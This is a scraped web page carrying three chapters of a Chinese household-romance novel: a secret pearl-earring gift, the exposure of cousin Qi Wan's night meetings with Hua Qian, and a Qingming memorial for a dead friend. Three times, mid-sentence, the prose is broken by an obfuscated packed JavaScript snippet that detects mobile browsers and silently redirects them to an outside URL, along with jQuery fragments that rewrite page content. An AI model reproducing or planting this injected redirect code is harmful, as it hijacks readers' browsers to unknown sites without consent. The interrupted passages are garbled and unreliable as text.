破晓时分，银荷没有惊动任何人，偷偷爬了起来。 天空才刚刚泛了白，园子中只听得鸟叫。池边小草正是最嫩的时候，在熹微晨光中显得毛茸茸的，让人不忍踩上去，新鲜的柳枝缀满米粒大的新芽，静静垂着，只最下面一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17014804|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻轻摆动，朦朦胧胧，如烟似雾。 “多美的春天。”银荷忍不住叹道，泪水涌上她的眼睛。 她走到亭子里，面西伏倒在地，啜泣起来。 她被曲展领进曲府时，并不知道自己的生辰。由心过生日时，对她说：“从此后，咱们一日过生辰便是。” 那时候，生日是比过年还要开心的一天。曲展会让人给两人裁一样的新衣，一样地打扮起来，并亲自下厨，做出两碗长寿面。 日子长了，银荷真将这一日看作是自己的生日。 由心的最后一个生日，并不是在家里过的。曲展故去前嘱咐她们及早进京。二月初五那日，她们在路上。银荷偷偷去客店求了厨娘，自己做了碗面端给由心，由心的泪落在碗中，又笑着说：“还好，我还有你。” “可我没有姐姐了。”银荷痛哭失声。 偷偷哭过一场，回去洗净脸，银荷做起了寿星，先去拜老太太，太太们，又等姐妹们来给她上寿。 瑷宁、花瑶最早到，正在屋里说话，戚晚也来了，坐下后，微微咳嗽了两声。 瑷宁说：“前些天，大太太一家子人都病了，一个人呆一间屋子，谁也不敢出来，可别给映雪染上，了不得。如今那边才好，你又来了病。” 戚晚忙笑说：“我不过是略受一点风，小毛病，和瑶妹妹一样。一起给大夫瞧过，说我们病都好得干干净净，一点事没有了。” 蝉影在一旁，先是嘀咕：“病好了也值当夸嘴，要我都羞死了。”又插话道，“可别说，本来我们姑娘是好好的，还不知是谁传了她。我要得了病，就躺在屋里，又不是没人把饭食端到跟前伺候着，还不知足，不好好养病，只管东跑西跑做什么？” 好丫头。瑷宁在心里赞道。从旁看着戚晚，抿着嘴笑。戚晚红着脸不作声。 到了如今，银荷仍不惯别的丫头忙碌，自己一人闲着，尤其今日，见大家都给她拜寿，心下不过意，便进去出来地拿东西招待人，也就没留意她们这场小口角。 她平时和花瑶最要好，见花瑶和她表姐戚晚不热络，也并不以为怪。她想各人脾气性子不同，总有投缘的不投缘的，反正想不到都是一般年纪的姑娘，哪个会对哪个当真厌恶。 但银荷知道，全家人中，只有映雪对每个姑娘都亲热，她也格外喜欢映雪。 这时映雪和花瑛、诗钰一道来了，银荷忙扶映雪进屋坐好。 映雪看见戚晚，问：“怎么好几天不见晚妹妹？” 戚晚脸红红的，支吾了几句，一时大家说话游戏，便把其它事不提。 到了晚饭时，瑷宁在花园里找了一间暖和阁子，安排下丰盛席面，姐妹们一起玩闹吃酒，入夜放散。 银荷回到自己院子，几个丫环还置了小桌，摆了酒菜，非要拉她入席。银荷推却不过，又喝了几杯酒，只觉头沉脚轻，就说着：“我可实在不能再喝了，你们玩吧，我得先去躺会儿。” 进屋正要卸去钗环，银荷一低头，发现妆台正中摆着小小一只雕花木盒，盒子仔细用红色绸带系起，像是贺礼，却并无信笺署名等。她举着出去问了一句，丫环们没看清，以为是谁制的胭脂膏子，便回说：“今早起进进出出的人太多，也记不得是哪个的，可能哪个小丫头过来，正巧没人在，顺手搁在那儿。明儿我们去问一问，就有了。” 银荷怕是谁送来礼物没谢到，失了礼，转身进去，在灯下打开来，一瞧之下不禁楞住。 盒子里装着一副耳坠，上面挂着樱桃大小一对珠子，光洁圆白，比上回花瑶丢了一只的那对珍珠，还要大，还要亮。 银荷拿着盒子，只觉得手里发烫，更不用说将耳坠取出来细瞧，但总归能看出它们很美。珍珠裹着一层银色的柔光，对着看时，就见自己的两团影子映在上面——毋庸置疑，这份礼物非常贵重。 谁能悄无声息送来这样的东西？ 老太太给她两件精巧器玩，并一包金银锞子，三位太太俱送一身衣裙，瑷宁和映雪各送一套书和两匹尺头，其余姑娘们都是笔墨纸张、绣作手工、花草盆栽等物，也有相熟的丫环几人凑了份子以表心意。——向来花瑛花瑶过生日也是如此，姑娘几人并无大不同。 再没人会如此奢费，或者只除了一人。 银荷顿时一阵气恼。 虽然花澈嘴上轻佻，但与他满口里胡说八道相比，他的举止还不算太过分，她便当作他癖性如此，如今却再没法自我欺骗。 且不说通常情形下男子赠送首饰给姑娘到底是什么意图，花澈送，似乎还格外有些侮辱人的感觉在里面。这类事他一定没少干过，阔公子一掷千金和豪迈可不沾边，不过像随手抛出几枚铜板一样轻飘飘的。 唯一让她满意的是，东西是不声不响送来的。那么，等花澈回来，自己再悄悄还给他便是。银荷将手中盒子扔到了箱子最深处。 28. 瑷宁 瑷宁将早就告老解事的乳母又请了来，告诉花沛说：“想周妈妈了，这阵身子精神都不好，正需身边有个自家人照顾。” 花沛想把她的言下之意问个清楚：“难道我不算自家人，照顾不好你？”但实在没有底气，甚至都不知该从哪儿申辩，只好笑着答应：“那就请来吧，让她陪你说说话。” 于是，这段日子，花沛回到家，总见瑷宁和她乳母周氏在一起嘀嘀咕咕，见他来，周氏便走开了。花沛以为两人无外是闲话家常，并不放在心上。 这天饭罢撤了桌子，瑷宁将周氏请进屋，自己却借故出去。周氏唤住花沛：“大爷肯不肯听我啰嗦几句。” 花沛忙请她坐下，立在一旁：“妈妈有什么吩咐，请慢慢讲。” 周氏推让不敢坐，直到花沛也坐下，这才慢慢说起来，先将花家上下赞了一通，又掰指头数道：“……六、七、八，从我们奶奶出阁，算算已到第九个年头了。就是我向来说的，我们奶奶是嫁着了。便只有一桩不足——没能给老太太添个重孙子。” 周氏留神觑花沛神色，继续说下去：“这次我来，也见到了两位表姑娘。那位郭姑娘，我和我们奶奶都瞧着甚好，样貌性子不用说，人又能干，将来还能给我们奶奶搭个帮手。大太太那边，我们奶奶愿意诚心去求，想必也没什么不乐意的。大爷看呢——” 花沛涨着脸立起身：“这不可能是瑷宁的意思。” 周氏也忙站起来，赔着笑说：“要说我们奶奶凭空就起了这个兴头，谁也不能信；我要说我们奶奶心里从来没有疙瘩，那也不是实话。但大爷要是以为我们奶奶没解开这疙瘩，就是不知我们奶奶了。 “你们小两口是一团和气，大爷一向体谅，我们奶奶明镜似的。可别人未必不生想法、不怪着我们奶奶。她就犯难在这儿——既要在老爷太太跟前全大体，也要大爷顺意，还不愿意自个儿委屈。大爷知道，我们奶奶心气高，嘴巴硬，之前没有松口，但心里其实早存了念头。现今里里外外都考虑妥贴了，这才想着提出来。” 等了一等，见花沛不吭声，周氏又说：“我也虚活了几载，又从小看我们奶奶到大，就放胆说了——大爷要为着我们奶奶，就该为她想个长远。这对谁都是好事，大爷要还推托，倒是辜负我们奶奶了。” 花沛气得心头绞痛，瑷宁这是怎么了？ “这事不用再提了，绝对不可能，我不答应。我不会让瑷宁为难。”他坚决地说，试图显得斩钉截铁，为的是彻底打消瑷宁的疑虑，阻止她可能的动作。 幸而是周嬷嬷传话。他根本不知道如何能当着瑷宁面讲，他心里很明白，拒绝的理由至少有一半完全不堪审视。 待瑷宁听到周氏转述，只是笑了笑：“早想到了，不愿便不愿罢。” “那戚姑娘——还是照原来打算？”周氏问。 “对。放心，就算捅上天去，理也在咱们一边。她做的事情总不能放任不管，没得闹起来传出去，累了家里几位小姐名声。” “斩草要除根啊。”周氏担忧道，“能打发干净了自然最好，太太就是生气，日子一长也忘了。但万一戚姑娘有什么说辞，没打发走，将来在太太跟前哭一哭，人家是姨甥俩儿，太太自然向着她，可不得怪上咱们……” “我不信她还能有本事留下。再说，真怎么样，不还有大爷吗。我瞧瞧他是怎么不教我为难。”瑷宁无所谓地说。 这日是休沐，逢此日子，老太太喜欢留儿孙在旁边多说几句，格外热闹。瑷宁挑了平素二老爷二太太给老太太问安的时候，同着花沛也去了。她本是想，有这么几个人在场就够了，等老太太听见，自然会将当事的关键人物唤来细问。 不过正在举行春闱，身为礼部大员的大老爷这几天不在家，因此，花潜夫妇两个也早了一会儿。老太太谈兴正高，瑷宁寻不出方便时候，片刻工夫，大太太、三太太、几位姑娘陆续都来了。二老爷便要告退，瑷宁不愿再耽搁，径直说：“老爷慢走一步，还有一事请老爷太太示下。” 二老爷先瞧一眼儿子。花沛恭然而立，脸上纳闷，心中紧张。二老爷便问瑷宁：“有何事？”又看向老太太，“家里的事情，母亲做主便是。” 瑷宁道：“前些日子有人说丢了几件东西，都是小物件，便没惊动人。只是我想咱们家里一向没这些事情，所以暗自差检了一番，如今已有眉目了。” “是怎么回事？”二老爷问。 “是一个小丫环，叫做小瑞的。原是在花园里打扫，并不进屋子。不过她既有存心，难免找不出机会。” 老太太便皱眉道：“一个小丫头如何来的胆子，还得问问背后有无人指使。” “老太太说得是。她爹娘就是门上当差的，进出回家都方便，不然也无处藏赃。不过她爹娘倒是老实人，说俱不知情，我看不像撒谎。那丫头也吓坏了，一心怕拿她见官。东西既已找回，我想并无必要，咱们总讲宽厚服人，不若远远开发他一家去乡下就完了。” 老太太叹道：“世人逐利，难免忘本。谷堆里还能没耗子，并不独在咱们家。我看这处治得妥当，望那丫头诚心改过，也就算了。” 众人皆无异议。唯有银荷听见小丫环偷盗，心里一沉，巴不得是件误会。又听到小瑞已经供认，更加难受，虽与自己毫无瓜葛，脸上不禁烧热起来。 这时瑷宁又说：“从这个小瑞口中还问出一事，令我难安。” 大家都等着听她讲，她说：“咱们家里的老规矩，冬日内院是戌正时关门挂锁，之后安排的巡夜共四组，每半个时辰巡一次。从正月初一到现在，除了上元节那日姑娘们出门观灯，回来晚些，但也是亥时末关了门，其余时间都是戌正时，绝无差错，管事的陈妈妈可以作证，她每日都亲眼看着各门落了锁。” 银荷又是吃了一惊。她清楚元宵那日自己和花澈回到府中，早已过了三更。花澈将她送至清圆居门口，一路俱是畅通，并没叫门，也没看见有巡夜之人。当时她不觉有异，现在心里不免起了不安，生怕瑷宁马上要说出这事并责怪她。 瑷宁说的却是另一件事：“厨房那边有个小门能出去，钥匙正好在小瑞她娘手里管着。小瑞先前哄过她娘，自己偷偷找锁匠另打了一把钥匙。她拿了一人好处，夜间会偷偷把门开了，放那人进出，卯时前再关上。” “是谁？”老太太奇怪道。 “是戚表姑娘。” 此语一出，屋内静得落针可闻。 先听见二太太喊道：“这小丫头怎么张嘴就敢混说。” 瑷宁平静地回答：“我也怕是搞错了，吩咐陈妈妈，对任何人都不得走漏消息，还按原来一样时辰开了锁，找人暗中守着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17027384|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开头两天确无动静，但前天晚上看到戚姑娘约摸子时出去了，天亮前回来的。” 大家扭头看戚晚，她脸色红了又白，在众人的目光下，身子微微颤抖，但脖子挺得很直，嘴巴也紧紧抿着。 老太太示意邀月带姑娘们出去，又指了花沛、花潜说：“你们也先回去。” 待屋内只剩下三位太太，二老爷，瑷宁和映雪，老太太才转向戚晚，温和说道：“这儿就咱们几个人，戚丫头可是有什么苦衷，当着你姨母，你姨丈，还有你嫂子，尽管说，不用怕。” 戚晚上前，跪在老太太面前，只说：“是我做错了事，对不起老太太和姨丈、姨母照拂。” 几位姑娘出了屋子，俱不吭声。见没人注意，花瑛使个眼色，四个姑娘一起绕到后窗，悄悄地猫在窗下偷听。 银荷对戚晚的最深印象还是她一口回绝花澈那次，不能不对她略怀敬意。她朦朦胧胧地认定，戚晚是如戏本子里说的那些故事般，与某个穷书生私下相会。 她暗自想：“戚姑娘以为无人为她做主，其实老太太和二太太都很关心她。她不该一声不吭自行其是，寒了别人的心。或者，这里面另有隐情，不知会如何收场？” 屋内几人静默了一会儿，二太太激动地说：“晚儿，到底是因为何事？你别怕，都说出来。你一向是个好孩子，肯定是哪儿有误会。” 戚晚凄然一笑：“姨母这时还为我说话，可惜我无法为自己辩解。错了就是错了，只希望将来还能够再报答姨母和姨爹。”说着向二太太和二老爷磕了三个头，又跪着转向老太太说，“请老太太允我收拾几件东西，我今日便会离开。” “罢了，你先站起来。”老太太缓缓道，“若是这样，我们也不好强留你。当初你姨丈领你来，如今仍送你回你父亲家去。你父亲若要怪罪，我们只得尽力解释。——不是想让你难为，最好还能说明白，如若过几日有人来这里找你，也有个应对。” 戚晚脸红了：“不会有人找上门来，也不会有任何人说闲话，请老太太放心。” “事情多久了，家里有谁知道么？”二老爷问。 戚晚没答，只是摇了摇头。 尽管二老爷话音和气，站在窗外的花瑶还是禁不住一哆嗦。旁边花瑛和银荷感觉到了，都看她，无声地问：“你知道？” 花瑶慌忙摇头否认。 屋内，戚晚还在和大家僵持。面对老太太苦口婆心，二太太流泪相劝，甚至二老爷失了耐性，一时负手一时甩袖地踱来踱去，她也只是低头跪着，不肯再多吐一个字。 瑷宁暗自诧异，她没想到戚晚居然还有几分傲性。不过无论这中间有何隐秘，反正她必得离了花府，管是去哪里呢。而且，尤为令瑷宁心宽的是，刚刚偷看了花沛的脸色，就是一副愕然的样子，还有几分鄙夷，再无其它。她轻轻吁出一口气，静等最后的发落。 末了，老太太叹道：“罢了，我叫人帮你收拾好东西。” 戚晚大概是跪久了腿麻，一时没能站起来。 映雪因是双身子，老太太特意嘱咐她，与老爷太太等见过礼，仍旧坐下。刚才，映雪便一直坐在旁边，这时，她站起身，想去扶戚晚。 还未迈出步，一个人闯进屋，在戚晚身旁向老太太一跪：“这事怪不得戚姑娘，全是孙子的错。她去见的人是我。” 29. 戚晚 屋子里的人因问来问去，总得不着戚晚答话，已有点疲累不耐了；窗下银荷几人弯着腰，一直听不到关键，更是着急。只有大太太在旁边看好戏，不急不恼，含笑作壁上观。 这时，花潜突然进来，冲老太太一跪，又说戚晚是去见他，这句话真可谓石破天惊，所有人都目瞪口呆。 大太太立时气得浑身乱战，“你，你——”半晌没说出话，再瞥到含羞带耻的戚晚，双目喷出火来，“是这小狐狸作弄你替她遮丑！” 花潜答道：“确是孩儿的错，母亲只管责罚我。” 老太太先定下心，又问戚晚：“是这样？你去哪里见潜儿？” 戚晚张了张嘴，还没发声，先挂下两道泪。花潜吞吐地解释：“孙儿怕……这段时候夜里都在外头书房。” 大家不由自主看一眼映雪，又赶紧收回目光。映雪连嘴唇也全没了血色，脸上仿佛只余一双眼睛，其间的凄楚令人不忍视之。瑷宁从旁紧紧扶住她。 这便是实情无疑了，沉默片刻后，老太太厉声对花潜说：“你起来。我也不用你眼里心里有我，回去只需好生想想，如何向你父亲交代，如何向你二叔二婶交代。还有你媳妇——”她停下叹了一口气，“你怎么能这样糊涂！” 花潜哽咽道：“我知道是我不该，可是现在……我不能再错上加错。”他转向二老爷二太太，“千错万错都是侄儿一人，侄儿听凭处置，请不要再责怪了戚姑娘。若戚家大伯说起话来，也一应担在我身上。” “荒唐！”二老爷丢下一句，拂袖而出。 二太太还在惊惧不定，她顾不上花潜，对了戚晚说：“晚儿，这可是你自己愿意的？” 戚晚脸又红了，用几不可闻的声音答道：“是，姨母。” 映雪突然用力甩开瑷宁，向外走去。花潜注意到动静，立刻起身拦在她面前：“阿雪，就一句话。我只——”映雪脸上的神情把他的话堵在了口边。 两人无声拉扯了几下。老太太气道：“还闹什么，快送你媳妇回去。她有身子，哪经得起这些！” 花潜含愧伸手，要去扶映雪，几乎就在同时，映雪身子一软，晃悠着向旁倒去。“阿雪——”花潜抢上前抱住她，一边向外疾走一边喊，“快叫大夫！” 瑷宁和三太太怕旁人赶来照料不及，急急追在后面，老太太不放心，也出去了，二太太不敢再顾别的，忙跟上搀扶，院里一阵忙乱。大太太留到最后，离开前，死死钉了戚晚一眼：“让你那姨娘别打主意了，什么样的下作小娼妇我收拾不了？” 戚晚摇了一下，好像也要倒，但她只是用衣袖擦了擦脸上泪痕，慢慢站起身来，悄悄地走了。 窗外的几个人一听到话，早就忍不得，扒着窗向里张望了一场，把这番情形全瞧见了。花瑛攥紧了拳头，满面通红，泪水决堤般淌下来，冲花瑶喊道：“我还当她是好人，原来黄鼠狼给鸡拜年，没安好心！” “我也没想到。”花瑶虚弱地说。 花瑛推开她，跑了去。 花瑶哭起来：“我确实不晓得。” 银荷不由也落了泪。诗钰眼睛红红的，劝了几句，三个人慢吞吞拖着步子，各自回去烦闷。 . 整件事在花家掀起的轩然大波还有待慢慢平息。所幸映雪腹内胎儿无事，只照大夫嘱托，静养数日即可。映雪每日躺在床上，若花潜守在旁边，她便泪流不止。大太太深怕再刺激到她，只好把花潜唤开，花潜便趁她熟睡时回来，执了手，悄悄坐上片刻。 大老爷回家后，对儿子大发雷霆。 “戚姑娘在咱们家，一是亲戚，再是客人。以亲戚论，你该守兄妹之礼，从客人论，你该遵待客之道。纵是再丧伦败行，更忘了结发之情、妻子养儿育女之恩，满脑子下流|淫念之人，也会留一丝体统。岂能瞒天昧地，与妻子不商不议，对父母不禀不报，既无长辈主张，亦无礼法规束，竟自干出这等伤风败俗的勾当，置祖宗颜面于何处？” 花潜满面羞惭，无言以答。大太太急忙摒退四周，赶进来道：“潜儿什么时候没听过老爷的话？老爷只顾教训他，却不问这里面的因由。戚晚分明是弟媳给你那大侄儿预备的，是侄儿媳妇不情愿，在里头弄鬼，帮那小贱人出了这么个主意，引潜儿上钩，再抖搂出来，若是气得媳妇失了孩子，正好一箭双雕。” “住口！”大老爷怒喝，气得胡须直颤。“若果真如此，是说他与兄长争夺女人，还是说他诬蔑嫂子？哪一样都更要恶上百倍，又与禽兽何异？真是门风丧尽！传出去人家怎么看他，怎么看我花家？” 见他震怒，大太太只好噤声。 “糊涂！糊涂！”大老爷叹道，“是你儿子自己做下丑事，与别人何干？再编上谁也没用。若非他先招惹上去，少不了威逼利诱、巧语哄骗，人家好端端的闺女，何至清白毁于他手？不必多说了，今日不请出家法来治，难免将来还再生祸患。” 大老爷便出来唤人，大太太死命抱住，几乎哭晕过去。“咱们就这独一个根苗，长了这样大，如今也娶妻也生子，老爷要打煞他，不看我，还看她们娘俩儿。” 花潜这才免挨一顿板子，但他还是在祠堂罚跪了整整一日一夜，末了根本站不直腿，让人抬回了屋。 大太太心疼儿子，怕大老爷再生气，不敢挑起争执，心中不免将二太太和瑷宁又更恨了几重。 二老爷私下里对花瑶也有一番教诲：“家里诸位姐妹，惟你与她关系最亲。她虽较你长着两岁，但幼时丧父，家道艰难，心性见识上自然有所不足。你应以身作则，予她引导；平日学习玩耍中，更当谦虚礼让，戒骄戒躁，便有意见不和处，也是先反躬自省。岂能心存轻视，一味逞强，甚或言语相激，致她自卑无助，一时失衡、误入歧途？” 就算这指责再有失公允，花瑶竟无从为自己辩白，况且便有话辩，亦不敢说，甚至憋了两泡眼泪，都不敢洒下来。二老爷见她悔恨，也就罢了。花瑶病了两日，此后便一直恹恹的，每日借口复习旧课、习画练琴、针黹女红，将晨昏定省之外其它事一概推辞不应。 银荷去看过映雪几回，映雪倒肯勉强说笑数句。但银荷怕她劳神，也不好过多打扰。 花瑛寸步不离陪在映雪身旁。她向来和嫂子最好，就是花珍出嫁前亲姐妹俩也远没有这么好过。花瑛不想指责哥哥，对戚晚却用不着客气：“看她还有没有脸来见你。她要是敢来，我可有话讲！” 而所有这些争端、混乱、不平的中心，戚晚，却一直足不出户，除了二太太去看过她，丫环每日还传送饭菜，她的屋子静静的，好像空着。 仆妇们窃窃私语，对事情的缘起争议不休。关于如何收场，至少有一点大家很笃定：戚姑娘是会留在花家了。 确实，在一个宜嫁娶的吉日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17031128|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，戚晚装扮一新，先去了万紫园，又去了二太太那里，各磕了头，之后乘一顶小轿，被抬到大太太发话为她收拾出的一间偏房内。 尽管没有宴请宾客，到底不是偷偷摸摸有意瞒人，映雪的娘家立即得知了这个消息，大为不满。映雪是幺女，前头有两位哥哥，她是独一个女孩儿，全家人的掌上明珠。她与花潜的婚约几年前便已订下，因为父母舍不得，一直留待她满十九岁才完婚。如今成婚不过一年，刚刚有身孕，夫婿竟迎娶二房、新纳美妾，韩家人如何肯依。 韩家老爷在兵部做事，两个儿子则偏武夫一流，行事没那样斯文。且不论韩父在朝堂上向花家施压、韩家公子叫嚷着要与妹夫算账、花潜去丈人府上谢罪，映雪母亲更是亲自来了花府，见过女儿后便要将人接回去。最终还是老太太出面，赔了不少好话，这才作罢。 送走母亲后，映雪下了床，每日与众姐妹谈天玩笑，仍像过去一般，大家都绝口不提戚晚，戚晚也识趣似地极少露面。 银荷这才发觉，先前，自己对好些事情都没看明白。不过，现在也依然是只知其一，其二其三还在云雾里。 譬如说，上次戚晚弹琴时，她究竟是看出花澈不诚心，才不答应，还是对花澈提出的办法不满意？ 而花澈对戚晚，到底是存心调笑，还是确实上了心，但怕老爷太太知晓了麻烦——那位俞雁姑娘，他不是也没教家里头知道么？ 可是又想，花澈对自己，是什么风话都张口就来，全无所谓，半点没有怕哪个听见的样子。 转念至此，银荷万分恼火，干脆不去想了。 无人确切知晓戚晚脑中是什么念头。也许她后悔了，毕竟她现在也没讨得好。知情者说自头一夜起，花潜就从未向她屋里迈过半步。渐渐地大家都瞧出新姨娘不受宠，被大太太寻个由头撵出门，看来是或迟或早的事情。然而，好几天过去，大太太安安静静；那些准备看热闹的、施同情的，什么都没等到，慢慢也就散了。 这一段，因有诸般事项要忙，花沛和瑷宁说话比前一段还更少。 瑷宁万万没料到，捅出来是这样一桩事。此事往重了说，足可以伤及长、二两房的和气。可是，瑷宁最感愧疚的，还是对映雪。哪怕不提大老爷二老爷彼此脸上不好看，不提大太太二太太各自心怀埋怨，单只说伤了映雪一项，便令瑷宁追悔莫及。 这一向瑷宁不再猜忌花沛了，一门心思只顾着开解映雪、劝慰太太、替全家人分忧。她确实后悔，悔恨中又掺着点委屈。 花沛知她心里难受，不忍多说，可是，一字不提，倒显得生疏客气，不是夫妻相处之道。于是，只拣了最轻的，微微笑着说：“有什么打算也该先告诉我一声。固然是二弟不对，可何必非要当着全家、丝毫情面不留。二弟又不比三弟，脸皮厚，不怕臊。——不过总归还好，二弟不是多心之人，一两日也就过去了，不然，我真有点不好见他。” “我是多心之人，你怎么就能见我了？”瑷宁心里想着，泪珠便纷纷抛下来。她很少在丈夫面前哭，这时花沛若能抱住她，或许便不会有如此多不如意之处。可惜花沛虽然心生怜惜，温言哄劝安慰了半日，终究没有向妻子伸出双手。 在花沛心内诸多感想中，确实有那么一丝对花潜的羡慕：花潜是嫡长房长孙，迟早要挑起花家大梁，他竟真敢允自己干出这种事，而天也没有塌下来。 30. 清明 日子到了清明前。春光渐盛，老太太见大家每日无精打采，便说：“总闷在家里，还能不闷出毛病。我带你们出去转转，姑娘家该多看看花儿朵儿的。我记得咱们有个庄子挺干净宽敞，收拾一下倒还住得。” 说着就命人去知会庄子，提前准备。因庄子盛不下许多人，几位太太都留在家，映雪嫌在外居住不便，也未相强。诸事就绪后，花瑛花瑶两姐妹、诗钰银荷两位表姑娘、瑷宁搀着老太太，一行人坐了车，花沛骑马伴着，半日方到了郊区。 如今几年盛世太平，风调雨顺，万民富庶，大片闲田都锄作花海。这一带便有几百亩的桃林杏苑，十面香风，莺飞蝶舞，一派漫无边际，美不胜收。 自京城来踏青观景的游人比比皆是，大家全在赏花，银荷只略转了一下，便拉了小朝，悄悄走到无人处。 “东西都齐全了？” “放心吧，姑娘，地方我都看好了。”小朝指指旁边一座小土丘，“就在那小山后面，有个小林子，也有几株花。没人。” 银荷接过包袱，又叮嘱小朝瞅着些人，便匆匆向她所指之处走去。 原来由心的忌日正在这天。银荷早早就准备了祭奠之物，要小朝帮她带着。小朝年纪虽小，兼之好奇心又重，但对于银荷的事情，她从不多问多想，更不会往人前多嘴，反正姑娘做什么都自有道理。是以银荷对她十分放心，这次便要织雨回家歇两日，专带了小朝出来。 银荷翻过小山后，果然见到一小片稀疏的林地，此处背阴，但仍有几株花树静悄悄立着，只是那花儿就开得寂寥些。银荷顾不得其它，挑选一块平整的地方，摆好香炉，几样果子点心，焚了香，向由心所葬方向拜了几拜，默默发了誓愿。 她心中悲极，却偏偏哭不出来，只是呆呆跪坐在地上。 想起曾听曲展讲解历来悼亡之作，念至白香山追思友人的诗句，曲展评道：“淡语写浓情，正该如此。辞浅而意深，看来直白无奇，思之痛彻心扉，是为佳句。”之后他久久望着窗外，没有再讲下去。 当时银荷对这诗句并无太多感悟，只是看到由心泪下，不觉也心中凄楚。两人在桌下拉住手，那是她第一次为生死触动。直到如今，银荷才真正理解这一十四个字实是道尽了和至亲、知己、挚爱之人阴阳两隔，死生茫茫，无法言说的哀伤。 她缓缓地，一字一字吟诵出声：“君埋泉下泥销骨，我寄人间雪满头。” 听闻她念这句诗，一直隐在小山旁的人心中一痛，忍不住走了出来。 银荷听到身后声响，略惊了一下，回头见是卫维扬，心里一松，仍跪在地上未动，只仰首说：“是卫公子，你也来了，是踏青吧？” 卫维扬点点头。他今日实则是特意来找她的。他从花涛那里听说春游一事，一时冲动就寻机也来了此处，只盼或许能远远望见曲姑娘一眼，至于见到以后该如何，则未想那么多。 确是远远看到了，看到后又发觉，他的心愿其实是要上前说几句话，哪怕只是打个招呼。花家老太太也在，他前去向长辈问好无可非议，曲姑娘会明白他的心意吗。 卫维扬犹豫着在附近徘徊，不意真这样凑巧，竟然撞见她独自一人。正要上前说话，却见她摆出祭奠之物，于是他便悄悄等着。他本以为她是祭奠父母祖辈，但随即想到如是那样何须瞒人。卫维扬感到就要触及埋在她心中的一件事，他自己的心也突然变得怅惘又苦涩。 很显然她对那故人感情极深，那会是谁？为着尊重对方，他知道自己早该离开，但见她背影说不出的孤单，又实在不能移开步子，仿佛那样就是撇下了她。 直等她念出那句诗，卫维扬再也无法站在一旁。 他在银荷身边半蹲下，虽不忍得多问，但话还是出了口：“冒昧打扰了，曲姑娘容恕。不知姑娘在此凭吊何人？” “是我的……一位知交好友，今日是她的忌辰。” “曲姑娘与友人情意深厚，令人动容。还望姑娘节哀，慰他于泉下。——他一定不愿看到姑娘如此伤心。” “我知道，她希望我……她什么都为我打算，就如我的亲姐姐一般。”银荷喃喃说。 卫维扬愣住，转瞬便自愧起来，自己竟还是看轻了这位姑娘。他坦诚地说：“原来曲姑娘的朋友是位女子，请姑娘原宥我的浅薄。” 银荷有些惊讶地看着他。卫维扬解释道：“我原以为姑娘凭吊的是位公子，不想错看了姑娘，我很惭愧。请别误会，我的意思不是说姑娘和男子交友，就当轻视姑娘。只是我不该想不到，女子间当然会有这般深沉真挚的感情，是我亵渎了姑娘对友人的情谊。” 银荷微微摇头，凄然道：“卫公子不必如此说，世间情谊原无高下之分，只是对我来说，此前便只有这么一位姐姐。若尘间无我，怕无人再记得她，尘间有我，不过踽踽而行，所以伤心。” “她故去多久了。” “一年前，就是我离开矴州来这里时。在她故去前，我们拜了姐妹。其实我们俩自幼相知，早就如姐妹一般，同处念书、玩耍，那时的日子很欢喜……凡我所知、所懂得的，全赖姐姐教我；我所有，亦是姐姐……要没有她，就没有今日的我……” 不知何故，从未对任何人说起的话，却能在卫维扬面前道出。银荷大略讲了和由心在一起的旧事，只隐去了丫环小姐一节。 讲完后，卫维扬凝视她片刻，说：“可否允我一祭？” 银荷不解其意，点点头，摇晃着站起来，立在一旁。 卫维扬起身取过旁边的香焚上，郑重施礼后，念道：“维永平十八年二月二十三日，卫维扬谨以桃李芳香、晓露清酌致祭仙姊之灵：憾未拜于清光，但感云影花魄，唯自惭于尘氛。…… “霞姿月韵，痛惜天妒，轻裾文履，叹惋绝尘。…… “哀君去后，碧枝空曳，紫燕无声，红雨寂寂。…… “知交犹忆，悲喜谁同，广陵难续，怅恨如许。 “河川如肃，山峦如穆，潇湘过处，万古留歌。” 他的话音一字一字落入深邃的宁静中，恍然间，银荷仿佛听到由心亲切的脚步声，伴着春风，带来生之欢乐…… 无限的怀念涌上她心头，终于，盈眶的泪珠潸然落下。 “魂兮有灵，盼托梦汝妹于清宵，慰其思苦。身有远近，心无别离。寤寐相感，朝夕安康。匆匆不尽，尚飨。” 见银荷流泪，卫维扬本欲相劝，又压住了，掏出手帕递过去。银荷摇摇头，侧过脸，取出自己帕子擦干眼泪。两人彼此没有讲话，许久后，银荷问：“卫大哥是和家人一起来的，已经看过了桃花？” “我一人过来的。还不曾去。”卫维扬温和地说，“可否——还是我先送姑娘回去，我也该问候一下你们老太太。” 